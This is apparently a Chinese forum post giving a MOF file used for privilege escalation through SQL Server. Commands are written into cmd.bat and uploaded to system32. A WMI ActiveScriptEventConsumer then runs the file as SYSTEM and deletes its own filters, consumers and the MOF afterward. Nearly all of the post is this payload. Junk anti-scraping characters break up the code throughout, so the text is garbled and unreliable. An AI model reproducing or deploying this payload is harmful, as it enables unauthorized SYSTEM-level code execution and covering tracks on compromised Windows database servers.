这个sql提权MOF需要运行 system下的文件,不能定义路径。3 s- O: g: t( M, ?, L
需要将要运行的命令写入到bat上传到system32目录,然后执行。
/ [0 i/ A* h$ m4 I$ C
! H% n6 M/ ^& w( y" u' W5 {! c3 K这个sql提权MOF需要运行 system下的文件,不能定义路径。" x9 Z& |9 ?# Y U
需要将要运行的命令写入到bat上传到system32目录,然后执行。& p V# S9 u- t0 p+ j
. f4 p) u# j* H, S4 R P7 T1 D# e
#pragma: g& X0 Z" |7 c3 f) C
namespace("\\\\.\\root\\cimv2")- H+ W, F! o' D4 C) b
class8 ?9 ?+ ]0 d5 D4 s; |: N9 q: S
MyClass547
5 ^; A U9 }9 d D { [key]. s! a H5 ?1 D5 l W% K8 J
string$ W4 p3 }7 U, ]" s& h
Name;
2 D1 l; `9 x& T% D- y6 _ };
) |- H0 w9 {4 n S class
0 h" ^1 X( T/ C/ W; E/ n5 p* t ActiveScriptEventConsumer4 C# Z" O% s+ v8 R8 ?+ }
: __EventConsumer { [key]
4 T# U* k* z$ V9 f string
# U8 G- f4 s/ H2 s0 O9 m3 B Name; [not_null]
% j& \( X* \8 U( `* ? string, n) f: `; o0 j' _! v% |, `
ScriptingEngine; string6 _+ h$ c! r* P- c# ]" P) L
ScriptFileName; [template]
) c8 N+ g T/ D, R4 W- H' G% n string9 A0 N/ Y3 n! j: q2 a# m( }0 T
ScriptText; uint32 KillTimeout;
) T3 b- h, L, a) S }; instance of __Win32Provider as $P {8 }+ m' V) x0 ?6 ^/ d2 r
Name
$ K7 r: w$ Z' d& | =
! ~6 q6 h* n( [3 l- e8 V "ActiveScriptEventConsumer"; CLSID =& P5 P1 j7 p8 j* r. Y
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
% L' p/ C7 q' }0 B PerUserInitialization, ^9 d3 J9 Z; w' i& u2 A
= TRUE; m7 b; P& b: ~5 c. j% m
}; instance of __EventConsumerProviderRegistration { Provider8 B1 ^/ w) u5 }" r
= $P; ConsumerClassNames
( n8 X6 C+ r" _ =; d9 N% ?. k# B2 B% p2 T
{"ActiveScriptEventConsumer"}; {* O6 R9 ]6 c5 k
};6 o @1 l5 \9 I7 K I! v
Instance of ActiveScriptEventConsumer
: V; n% X2 P1 c as $cons { Name4 K4 p( M0 l4 m3 N
=6 O: M. z8 B8 x( s: i5 ~
"ASEC"; ScriptingEngine0 w9 o) Q& D- K' [ m
=
# X$ C( i7 ]& ?2 h6 a& \' C- x "JScript"; ScriptText
* H5 N: y+ W0 h( A =
) C5 d8 S1 ]; W: ~( n+ y. j T "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };# x- E W. U4 h9 j
Instance of ActiveScriptEventConsumer' v3 Y. c; J2 H, c
as $cons2 { Name/ m; K! _. r5 b' @8 n3 K/ i
=, H: m' _ O- D. o8 c( B
"qndASEC"; ScriptingEngine
* S; @7 C' Q4 i2 f2 u =" L2 a8 H8 ?! E1 j
"JScript"; ScriptText
% [/ ^! @- ~& S9 Q) K1 U =
! n1 ?8 Y! T$ X5 Z" t "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";" [9 A( Z( P6 X0 b: @7 r
}; instance of __EventFilter as $Filt { Name
: `6 X, Y5 Y8 {: @1 `( T6 u$ l =1 f' U$ P( T* L1 [2 T+ W; `
"instfilt"; Query3 [. b# Y/ S) q0 }. L9 s
=
+ M7 d) C9 d" f$ y "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
0 `4 }! r. d% p( |& K/ h7 x =* S) s% W! ]1 C3 x
"WQL"; }; instance of __EventFilter as $Filt2 { Name- D+ C8 Q" K5 S/ G
=" x) U2 ~4 O5 w# V w7 R: L& P4 B- ~
"qndfilt"; Query9 w" [# t4 b0 a
=/ D4 E6 X1 Q4 t$ ]
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
- V) h$ z8 c% g0 e0 o =
r2 [0 r5 d \- q& ?0 d2 X "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer1 [8 D! h j7 ]
= $cons; Filter% x: T+ d" `6 G. Z
= $Filt;8 c) R: I& B8 s
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
5 z( Q4 F3 |: e5 b/ r = $cons2; Filter( N7 l& I( u W2 u0 G
= $Filt2;
8 m$ z1 C0 E r' T1 g' ? }; instance of MyClass547
) i) X. W; i9 l0 l9 D/ P2 P9 b/ q# \ as $MyClass { Name
! ~9 C& r8 {4 @7 ] =& }* K! z9 a4 ^/ H/ m
"ClassConsumer";- n+ l% ]1 `- u
}; |